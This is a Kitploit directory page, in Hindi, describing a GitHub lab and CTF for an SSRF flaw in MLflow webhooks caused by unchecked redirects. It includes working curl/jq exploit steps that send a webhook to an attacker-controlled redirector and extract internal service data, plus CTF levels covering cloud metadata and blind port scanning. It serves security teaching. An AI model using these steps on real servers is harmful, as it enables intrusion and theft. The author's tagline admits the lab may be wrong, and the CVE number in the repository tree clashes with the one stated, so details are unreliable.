Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-64849-poc-lab — यह लैब ठीक हो सकती है या गलत, AI से पूछो, मैं टेस्ट कर रहा हूँ लेकिन इसे काम करना चाहिए hahahah | Kitploit
उपकरण/GitHubGitHub/isaca0315/cve-2026-64849-poc-lab
भेद्यता विश्लेषणशोषणवेब सुरक्षाCTFपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubisaca0315/cve-2026-64849-poc-lab

CVE-2026-64849-poc-lab

यह लैब ठीक हो सकती है या गलत, AI से पूछो, मैं टेस्ट कर रहा हूँ लेकिन इसे काम करना चाहिए hahahah

रिपॉजिटरी देखें
9घं 33मि पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

सुरक्षा प्रयोगशाला — MLflow वेबहुक्स में SSRF का शोषण

CVE-2026-64849 · MLflow < 3.15.0 · सर्वर-साइड रिक्वेस्ट फोर्जरी (SSRF)

व्यावहारिक प्रयोगशाला जो CVE-2026-64849 को पुन: प्रस्तुत करती है: MLflow में एक SSRF प्रकार की भेद्यता जो वेबहुक्स के प्रबंधन में TOCTOU (Time-of-Check / Time-of-Use) दोष के कारण उत्पन्न होती है। MLflow वेबहुक के मूल URL को मान्य करता है लेकिन HTTP रीडायरेक्ट्स (302) का अनुसरण करता है बिना पुनः-मान्य किए गंतव्य को, जिससे एक बिना प्रमाणीकरण वाला हमलावर आंतरिक सेवाओं तक पहुँच सकता है जिन तक उसे पहुँच नहीं होनी चाहिए (internal-service:8888)।

प्रतिबंधित उपयोग: प्रयोगशाला सामग्री, केवल अधिकृत नेटवर्क और वातावरण के लिए। देखें कानूनी नोटिस।


1. कार्यकारी सारांश

विशेषतामान
भेद्यताCVE-2026-64849 — वेबहुक रीडायरेक्ट बायपास के माध्यम से SSRF
प्रभावित घटकMLflow ट्रैकिंग सर्वर (< 3.15.0)
लैब संस्करणMLflow 3.13.0 (बिना संशोधित, pip install के माध्यम से)
मूल कारणTOCTOU: URL को मान्य करता है, पुनः-मान्य किए बिना 302 का अनुसरण करता है
वेक्टरHTTP; बिना प्रमाणीकरण
घोषित गंभीरताCRITICAL (CVSS 9.3) — लैब एक्सप्लॉइट बैनर के अनुसार
परिणामआंतरिक सेवाओं तक पहुँच, क्रेडेंशियल चोरी, पोर्ट स्कैनिंग
अनुमानित अवधि15–20 मिनट
स्तरमध्यवर्ती (वेब ऐप सुरक्षा / आक्रामक सुरक्षा)

2. भेद्यता का विवरण

MLflow वेबहुक्स को पंजीकृत करने की अनुमति देता है जो घटनाओं पर HTTP अनुरोधों को ट्रिगर करते हैं (मॉडल डेटा, प्रयोग, आदि)। URL को सहेजने से पहले एक सत्यापन लागू किया जाता है (स्कीमा, निजी IPs, IP मेटाडेटा)। दोष इसलिए होता है क्योंकि:

  1. Time-of-Check: MLflow वेबहुक के मूल URL को मान्य करता है → पास हो जाता है।
  2. Time-of-Use: अनुरोध के दौरान, यदि प्रतिक्रिया 3xx है, तो लाइब्रेरी requests स्वचालित रूप से रीडायरेक्ट का अनुसरण करती है और वे गंतव्य URL को कभी पुनः-मान्य नहीं करते।

हमलावर पहले हॉप को नियंत्रित करता है (एक सर्वर जो आंतरिक सेवा के लिए 302 का जवाब देता है) और MLflow आंतरिक नेटवर्क के लिए प्रॉक्सी का कार्य करता है।

पूर्ण तकनीकी विश्लेषण देखें EXPLOITATION_GUIDE.md §6 में।


3. सीखने के उद्देश्य

लैब पूरा करने पर छात्र निम्न में सक्षम होगा:

  1. पहचानना पुनः-मान्यता के बिना रीडायरेक्ट अनुसरण के कारण होने वाले SSRF को (TOCTOU)।
  2. पुनः निर्माण करना पूर्ण प्रवाह: वेबहुक पंजीकरण, /test ट्रिगर और आंतरिक सेवा का डेटा निष्कासन।
  3. अंतर करना "स्पष्ट" सत्यापन (Time-of-Check) और वास्तविक उपयोग के बीच (Time-of-Use)।
  4. निष्पादित करना हमले की विविधताएँ: अन्य एंडपॉइंट्स का डेटा निष्कासन, क्लाउड मेटाडेटा (IMDS), ब्लाइंड SSRF/पोर्ट स्कैनिंग, सार्वजनिक रीडायरेक्टर और DNS रीबाइंडिंग (सैद्धांतिक)।
  5. लागू करना उपचार: MLflow ≥ 3.15.0 में अपडेट, प्रमाणीकरण और नेटवर्क नियंत्रण।

4. लक्षित दर्शक और पूर्वापेक्षाएँ

दर्शक: आक्रामक सुरक्षा के छात्र और पेशेवर, पेंटेस्टर, एप्लिकेशन सुरक्षा समीक्षक, और MLflow का उपयोग करने वाले डेवलपर्स।

सॉफ़्टवेयर आवश्यकताएँ:

उपकरणन्यूनतम संस्करण
Docker + Docker ComposeDocker 20.x / Compose v2
curl—
jq1.6+
bash—

MLflow में कोई क्रेडेंशियल या प्रमाणीकरण आवश्यक नहीं है (हमला बिना प्रमाणीकरण वाला है)। आंतरिक नेटवर्क तक पहुँच आवश्यक नहीं है: लैब इसे प्रदान करता है।


5. आर्किटेक्चर और टोपोलॉजी

root@kitploit:~
                 होस्ट                                   आंतरिक Docker नेटवर्क (lab_network)
┌──────────────────────────────┐   ┌────────────────────────────────────────────────┐
│  हमलावर (curl / bash)       │   │                                                │
│       │                      │   │   mlflow-vulnerable      attacker_server       │
│       ▼                      │   │   (5000, MLflow 3.13.0)  (8080, responder 302) │
│ http://localhost:5000        │   │        │  वेबहुक URL         ▲                │
│ http://localhost:8080        │   │        ▼───────────────────────┘                │
│ http://localhost:8888 ✗      │   │        │ 302 Location: internal-service         │
│                              │   │        ▼  (SSRF, रीडायरेक्ट का अनुसरण करता है) │
│                              │   │   internal-service (8888)   ← होस्ट के लिए कोई │
│                              │   │        "/admin/secret"           पोर्ट नहीं    │
│                              │   └────────────────────────────────────────────────┘
└──────────────────────────────┘
घटकपोर्टलैब में भूमिकासंशोधित?
mlflow-vulnerable5000पीड़ित / भेद्य क्लाइंट (MLflow 3.13.0 स्टॉक)नहीं
attacker-server8080हमलावर का सर्वर: /webhook → 302, /redirect?url=, /metadata, डैशबोर्डकेवल do_HEAD
internal-service8888lab_network में पीड़ित; /admin/secret और /api/internal/configनहीं

अखंडता विवरण: भेद्य सेवा और आंतरिक सेवा को संशोधित नहीं किया गया है। देखें EXPLOITATION_GUIDE.md §14।


6. त्वरित प्रारंभ (सेटअप + स्वचालित शोषण)

root@kitploit:~
cd mlflow-ssrf-lab
bash run_lab.sh start      # 3 कंटेनर उठाता है और MLflow की प्रतीक्षा करता है
bash run_lab.sh exploit    # स्वचालित रूप से शोषण करता है (SSRF → स्तर 1 का फ्लैग)

चरण-दर-चरण निर्देशित डेमो (इंटरैक्टिव मेनू):

root@kitploit:~
bash manual_exploitation_interactive.sh

🏁 CTF मोड (मैनुअल समाधान): लैब स्तरों वाली एक चुनौती है। प्रत्येक फ्लैग आपको अगले स्तर का सुराग देता है, इस प्रकार प्रत्येक फ्लैग तक पहुँचना "समझ में आता है"। और मज़ा इसे हाथ से करने में है: ctf_lab.sh आपके लिए शोषण नहीं करता, केवल मार्गदर्शन करता है और आपके फ्लैग को मान्य करता है:

root@kitploit:~
bash ctf_lab.sh            # CTF का इंटरैक्टिव मेनू
bash ctf_lab.sh nivel 1    # स्तर के निर्देश + सुराग (आपको स्वयं MANUALLY चलाने के लिए कमांड)
bash ctf_lab.sh flag '<flag>'   # आपके द्वारा निकाले और डिकोड किए गए फ्लैग को मान्य करें (+अंक)
bash ctf_lab.sh status     # पूर्ण किए गए स्तर + स्कोर (235 अंक, फ्लैग दिखाए बिना)
bash ctf_lab.sh hint 2     # एक स्तर का सुराग
bash ctf_lab.sh reset      # प्रगति मिटाएँ

run_lab.sh स्क्रिप्ट के संदर्भ:

root@kitploit:~
bash run_lab.sh start     # start (डिफ़ॉल्ट) + स्थिति एंडपॉइंट
bash run_lab.sh exploit   # mlflow कंटेनर के अंदर exploit.py चलाता है
bash run_lab.sh manual    # चरण-दर-चरण curl कमांड दिखाता है
bash run_lab.sh logs      # वास्तविक समय में लॉग का अनुसरण करता है
bash run_lab.sh stop      # कंटेनर रोकता है
bash run_lab.sh clean     # लैब डेटा रोकता है और हटाता है

7. शोषण प्रक्रिया (3 कमांड)

/test के सभी कॉल के लिए हेडर Content-Type: application/json आवश्यक है; इसके बिना, MLflow 3.13 400 Bad Request का जवाब देता है।

root@kitploit:~
# 1. हमलावर के सर्वर की ओर इशारा करते हुए वेबहुक बनाएँ (आंतरिक पोर्टल की जड़ पर रीडायरेक्ट करता है, स्तर 1)
WEBHOOK_ID=$(curl -s -X POST http://localhost:5000/api/2.0/mlflow/webhooks \
  -H "Content-Type: application/json" \
  -d '{"name":"ssrf_test","url":"http://attacker_server:8080/webhook","events":[{"entity":"MODEL_VERSION","action":"CREATED"}]}' \
  | jq -r '.webhook.webhook_id')

# 2. /test ट्रिगर करें → MLflow URL को मान्य करता है, आंतरिक सेवा तक 302 का अनुसरण करता है
curl -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
  -H "Content-Type: application/json" -d '{}'

# 3. निकाले गए डेटा को प्राप्त करें (result.response_body में नेस्टेड)
curl -s -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
  -H "Content-Type: application/json" -d '{}' \
  | jq -r '.result.response_body | fromjson'

चरण 3 का अपेक्षित परिणाम (CTF का स्तर 1):

root@kitploit:~
{
  "service": "internal-admin-portal",
  "banner": "आंतरिक प्रशासनिक पोर्टल — केवल आंतरिक नेटवर्क से पहुँच योग्य",
  "nivel": 1,
  "flag_enc": "ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ==",
  "flag_decoding": "echo ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ== | base64 -d",
  "pista": "पोर्टल /admin/ और /api/ के अंतर्गत संसाधनों को उजागर करता है। व्यवस्थापक क्रेडेंशियल खोजें।"
}

फ्लैग एन्क्रिप्टेड (flag_enc) यात्रा करता है और प्रतिक्रिया स्वयं आपको इसे डिकोड करने का कमांड देती है (flag_decoding)। लक्ष्य इसे SSRF द्वारा निकालना और डिकोड करना है; और इसका pista आपको स्तर 2 की ओर ले जाता है। चरण-दर-चरण विवरण, बग विश्लेषण और उपचार EXPLOITATION_GUIDE.md में हैं।


8. CTF मोड — स्तर

लैब एक प्रगतिशील स्तरों वाला CTF है: प्रत्येक फ्लैग एक pista छोड़ता है जो अगले गंतव्य की ओर ले जाता है, इस प्रकार प्रत्येक फ्लैग तक पहुँचना समझ में आता है। सभी स्तर एक ही आधार तकनीक (रीडायरेक्ट के माध्यम से SSRF) से हल होते हैं, तकनीक और खोज की कठिनाई को बढ़ाते हुए।

स्तरतकनीक / खोजगंतव्य (SSRF)फ्लैगअंक
1मूल रीडायरेक्टinternal-service:8888/base6410
2/admin/ की गणनाinternal-service:8888/admin/secrethex25
3/api/ की गणनाinternal-service:8888/api/internal/configbase6440
4क्लाउड मेटाडेटा (IMDS)internal-service:8888/latest/meta-data/...base64 + rev60
5 (अंतिम)ब्लाइंड SSRF + पोर्ट 8889 पर छिपी सेवा की खोजinternal-service:8889/admin/finalXOR + base64100

फ्लैग प्रतिक्रिया के flag_enc फ़ील्ड में एन्क्रिप्टेड यात्रा करते हैं और प्रत्येक प्रतिक्रिया में flag_decoding (इसे डिकोड करने के लिए सटीक कमांड) शामिल होता है। स्पष्ट फ्लैग flag{...} किसी भी स्क्रिप्ट या दस्तावेज़ में दिखाई नहीं देता: इसे SSRF के माध्यम से निकालना और डिकोड करना होता है (स्वचालित स्क्रिप्ट फ्लैग नहीं दिखाती)।

लैब नियम: फ्लैग केवल सफल SSRF के लिए (रीडायरेक्ट के माध्यम से आंतरिक सेवा से वास्तविक डेटा निष्कासन)। जो SSRF नहीं है या लैब में पुन: प्रस्तुत करने योग्य नहीं है फ्लैग नहीं देता (जैसे attacker का सीधा /metadata, DNS रीबाइंडिंग, whcli टनल, बिना निष्कासन के अंधा स्कैन)।

खेलें: bash ctf_lab.sh (इंटरैक्टिव मेनू)। स्तरों द्वारा मैनुअल समाधान REDTEAM_GUIDE.md (कमांड-दर-कमांड आक्रामक अभ्यास) और EXPLOITATION_GUIDE.md (पूर्ण तकनीकी प्रक्रिया) में।


9. शामिल तकनीकी सुधार (परिवर्तन नियंत्रण)

लैब के समेकन के दौरान निम्नलिखित सुधार लागू किए गए, जो पहले से सत्यापित हैं और दस्तावेज़ीकरण के सभी कमांडों में परिलक्षित होते हैं:

#सुधारप्रभाव
1POST /test अब Content-Type: application/json (और -d '{}') भेजता हैMLflow 3.13 का 400 Bad Request और response_body निकालते समय jq: null त्रुटि समाप्त करता है
2attacker_server.py विधि HEAD (do_HEAD) का समर्थन करता हैcurl -I .../webhook 501 Unsupported method के बजाय 302 Found लौटाता है
3वास्तविक API POST /api/2.0/mlflow/webhooks का उपयोगगैर-मौजूद रूट्स (/webhooks/create) के 405 से बचाता है

10. रिपॉजिटरी संरचना

root@kitploit:~
CVE-2026-29000-poc-lab/
├── README.md                          ← यह फ़ाइल (लैब का सूचकांक / कवर)
├── REDTEAM_GUIDE.md                   ← रेड टीम कुंजी में मैनुअल अभ्यास: recon → परिकल्पना → शोषण
├── EXPLOITATION_GUIDE.md              ← लैब की पूर्ण प्रक्रिया (SSRF, विविधताएँ, अखंडता)
├── manual_exploitation_interactive.sh ← चरण-दर-चरण इंटरैक्टिव डेमो (मेनू)
└── mlflow-ssrf-lab/                   ← लैब का कोड और ऑर्केस्ट्रेशन
    ├── docker-compose.yml             ← 3 कंटेनर (mlflow, attacker, internal)
    ├── exploit.py                     ← स्वचालित शोषण (कंटेनर के अंदर चलता है)
    ├── attacker_server.py             ← हमलावर का सर्वर (कॉन्फ़िगर करने योग्य 302)
    ├── internal_service.py            ← आंतरिक "संरक्षित" सेवा (पोर्टल 8888 + छिपी सेवा 8889)
    ├── ctf_lab.sh                     ← CTF की मैनुअल गाइड (निर्देश + सुराग + फ्लैग वैलिडेटर)
    ├── run_lab.sh                     ← start / exploit / manual / logs / stop / clean
    └── mlflow_data/                   ← उत्पन्न डेटा (sqlite DB, आर्टिफैक्ट)

11. कानूनी नोटिस

  • शैक्षिक प्रयोगशाला। बिना प्राधिकरण के सिस्टम का शोषण करना अवैध है।
  • यह वातावरण हमले को Docker के वर्चुअल नेटवर्क lab_network के भीतर अलग करता है; आंतरिक सेवा को होस्ट पर उजागर नहीं करता।
  • exploit.py लैब सत्यापन का एक उपकरण है और MLflow कंटेनर के अंदर, अनुकरणित आंतरिक नेटवर्क पर चलता है (देखें EXPLOITATION_GUIDE.md §14)।
  • यदि आपको वास्तविक वातावरण में कोई प्रकार मिलता है, तो विक्रेता (MLflow/Databricks) के पास जिम्मेदार प्रकटीकरण की ओर जाएँ।

12. संदर्भ

  • MLflow GitHub Issue #24179
  • OWASP सर्वर-साइड रिक्वेस्ट फोर्जरी रोकथाम चीट शीट
  • CWE-918: सर्वर-साइड रिक्वेस्ट फोर्जरी
  • TOCTOU (OWASP)
टूल डाउनलोड करें